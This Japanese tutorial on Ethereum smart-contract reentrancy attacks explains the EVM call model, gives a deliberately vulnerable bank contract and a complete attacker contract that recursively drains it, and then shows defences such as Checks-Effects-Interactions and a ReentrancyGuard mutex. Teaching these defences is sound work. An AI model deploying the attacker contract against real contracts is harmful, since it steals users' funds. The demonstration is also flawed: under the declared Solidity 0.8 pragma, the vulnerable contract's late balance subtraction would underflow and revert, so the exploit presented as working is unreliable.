【テクニカル・上級編】 再入攻撃(Reentrancy Attack)のメカニズムと防御策 – IoT・OT(制御システム) & ブロックチェーンセキュリティ防御ガイド

再入攻撃の深層:EVMの実行モデルから紐解く致命的バグと実践的防衛アーキテクチャ

スマートコントラクトのセキュリティ監査において、いまだに最も破壊的でありながら、同時に最も古典的なバグの一つが「再入攻撃(Reentrancy Attack)」だ。
Web3の現場を渡り歩くセキュリティリサーチャーであれば、この脆弱性が単なる「コーディングミス」ではなく、Ethereum Virtual Machine(EVM)の低レイヤにおける実行モデル、そして状態遷移の非同期的な錯覚を突いた構造的な欠陥であることに気づいているはずだ。

本稿では、教科書的な説明をあえて排し、EVMのコールスタックの挙動、ガス制限(Gas Stipend)の悪用、そして実際の攻撃シナリオから導き出される堅牢な防衛アーキテクチャの設計思想を、チーフホワイトハッカーの視座から徹底的に解剖する。

—

1. EVMの低レイヤ挙動と再入攻撃の根本原因

再入攻撃の本質を理解するためには、スマートコントラクトが実行される際のEVMのメモリおよびストレージの振る舞いを低レイヤで捉える必要がある。

Ethereum上のコントラクトAが別のコントラクトBの関数を呼び出すとき、EVMは実行コンテキストを新しく生成し、コールスタック(Call Stack)を積み上げる。この際、CALLオペコードを使用すると、呼び出し先のコントラクトに制御権(Control Flow)が完全に委譲される。

問題は、制御権が移譲された先のコントラクト(多くは悪意ある攻撃者のコントラクト)が、元のコントラクトAに対して状態が更新される前にコールバック(再入)を行える点にある。

コールスタックとストレージの時差

典型的な脆弱なコントラクトの挙動を考えてみよう。ユーザーが預けたETHを引き出す withdraw() 関数において、以下の順序で処理が記述されているケースだ。

1. ユーザーの残高(ストレージ)を確認する(Checks)
2. ユーザーへETHを送金する(Interactions)
3. ユーザーの残高をゼロに更新する(Effects)

このアーキテクチャの致命傷は、ステップ2の送金処理(call.value()等)の時点で、制御権が攻撃者に渡るという事実にある。攻撃者は送金を受け取った瞬間にフォールバック関数(receive() または fallback())を起動させ、ステップ3(状態の更新)が実行される前に再度 withdraw() を呼び出す。

EVMのストレージスロット(Storage Slot)の値は、ステップ3が完了するまで書き換わっていない。そのため、2回目の呼び出し時でも「残高がまだ存在する」と判定され、無限ループのようにドレイン(資金掠奪)が成立してしまうのだ。

—

2. 脆弱な実装と実際の攻撃コードの構図

理論だけでは実務の防衛には役立たない。ここでは、あえて脆弱性を内包したスマートコントラクトと、それをハックする攻撃者のコントラクトの構造をコードで確認する。

脆弱なバンキングコントラクト

以下のSolidityコードは、典型的なChecks-Effects-Interactionsパターンを無視した実装である。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    // ユーザーごとの残高を管理するマッピング
    mapping(address => uint256) public balances;

    // 預金機能
    function deposit() external payable {
        require(msg.value > 0, "Deposit amount must be greater than zero");
        balances[msg.sender] += msg.value;
    }

    // 脆弱な引き出し機能(状態更新が送金の後に行われている)
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Insufficient balance");

        // 【危険】外部コントラクトへの送金が状態更新の前に実行されている
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");

        // 【遅すぎた状態更新】ここで初めて残高を減算している
        balances[msg.sender] -= _amount;
    }

    // コントラクトの残高確認用
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

攻撃者コントラクトのメカニズム

上記の VulnerableBank に対して、攻撃者は以下のようなコントラクトを展開し、資金を根こそぎ奪い取る。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw(uint256 _amount) external;
}

contract Attacker {
    IVulnerableBank public vulnerableBank;
    address public owner;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = IVulnerableBank(_vulnerableBankAddress);
        owner = msg.sender;
    }

    // 攻撃のトリガーとなる関数
    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH to attack");
        // 標的にデポジットを行う
        vulnerableBank.deposit{value: 1 ether}();
        // 引き出しを開始し、再入ループの口火を切る
        vulnerableBank.withdraw(1 ether);
    }

    // VulnerableBankからのETH送金を受け取った際に自動実行されるフォールバック関数
    receive() external payable {
        if (address(vulnerableBank).balance >= 1 ether) {
            // 標的の残高が尽きるまで、状態更新前にwithdrawを再帰的に呼び出す
            vulnerableBank.withdraw(1 ether);
        }
    }

    // 盗んだ資金を攻撃者のウォレットに回収する
    function collectStolenFunds() external {
        require(msg.sender == owner, "Only owner can collect");
        payable(owner).transfer(address(this).balance);
    }
}

この攻撃において、msg.sender.call{value: _amount}("") に付与されるガス(EIP-150以降は残存ガスの63/64が転送される)が、再入ループを維持するのに十分なリソースを提供してしまう点が、インシデントの引き金となる。

—

3. 最高峰の防衛アーキテクチャ:Checks-Effects-Interactions と ReentrancyGuard

この脆弱性を完全に封じ込めるためには、単一の対策に頼るのではなく、多層防御(Defense in Depth)の原則に基づいた設計アーキテクチャを適用する必要がある。

① Checks-Effects-Interactions パターンの徹底

最も基本でありながら強力な防衛策は、関数の実行順序を厳格に制御することだ。

1. Checks(検証): require 文などを用いて、入力値や前提条件を最初に評価する。
2. Effects(状態変化): コントラクト内の状態変数(ストレージ)を外部呼び出しの前にすべて更新する。
3. Interactions(外部との相互作用): 他のコントラクトへの送金や関数呼び出しを最後に行う。

先ほどの withdraw 関数をこのパターンに従ってリファクタリングすると以下のようになる。

function secureWithdraw(uint256 _amount) external {
    // 1. Checks: 条件の検証
    require(balances[msg.sender] >= _amount, "Insufficient balance");

    // 2. Effects: 外部呼び出しの前に状態を更新(CEIパターンの核心)
    balances[msg.sender] -= _amount;

    // 3. Interactions: 最後に外部送金を実行
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
}

この構造であれば、仮に攻撃者がフォールバック関数から再入してきたとしても、すでに balances[msg.sender] はゼロに更新されているため、require 文で弾かれることになる。

② Mutex(相互排他ロック)による ReentrancyGuard の実装

複雑なクロスファンクション(複数の異なる関数を跨ぐ)再入攻撃や、将来的な拡張性を考慮した場合、OpenZeppelinなどが提供する ReentrancyGuard のようなMutex(排他制御ロック)パターンを導入することがセキュリティアーキテクトの常道である。

以下は、自社製コントラクトに組み込める堅牢なモディファイアの実装例だ。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract CustomReentrancyGuard {
    // ロック状態を管理するプライベート変数(ガスコスト最適化のため非ゼロ値を使用)
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    // 再入を防ぐためのモディファイア
    modifier nonReentrant() {
        // 既にエンターされている場合は処理を拒否
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call detected");

        // 実行状態をロックに設定
        _status = _ENTERED;

        _;

        // 実行完了後にロックを解除
        _status = _NOT_ENTERED;
    }
}

contract SecureBank is CustomReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        require(msg.value > 0, "Invalid deposit");
        balances[msg.sender] += msg.value;
    }

    // nonReentrantモディファイアを付与することで、二重実行を物理的にブロック
    function withdraw(uint256 _amount) external nonReentrant {
        require(balances[msg.sender] >= _amount, "Insufficient balance");

        balances[msg.sender] -= _amount;

        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
    }
}

—

4. セキュリティ監査と先進的なリサーチの視点

チーフホワイトハッカーやスマートコントラクト監査人として現場に立つ際、静的解析ツール(SlitherやMythrilなど)やFuzzingツール(Echidna等)を回すことはもはや前提条件に過ぎない。真に重要なのは、ツールが検知できない「ビジネスロジックに潜む再入」を見抜く眼力である。

リードエンジニアが注視すべき監査ポイント

1. クロス・コントラクト再入(Cross-Contract Reentrancy):
単一のコントラクト内だけでなく、トークン規格(ERC-777のフック関数やERC-1155など)のコールバックを経由して、別のコントラクトのストレージを書き換える複雑なアタックベクターが存在しないか。
2. Read-Only Reentrancy(読み取り専用再入):
状態を変更しない view 関数であっても、外部オラクルやDeFiプロトコル(AMMの価格算出ロジックなど)が「計算途中の不整合な状態」を読み取ってしまうことで、他のプロトコルを巻き込んだフラッシュローン攻撃の踏み台にされるケースが増加している。これに対する防衛として、view 関数に対しても適切なロック機構や状態整合性の検証が求められる時代になっている。

サイバーセキュリティの領域において、攻撃者は常にEVMの仕様の隙間や、開発者の認知のバイアスを狙っている。コードをデプロイするその瞬間まで、「外部からの介入がどのタイミングで発生してもシステムが破綻しないか」というゼロトラストの思想を貫き通してほしい。

コメント

タイトルとURLをコピーしました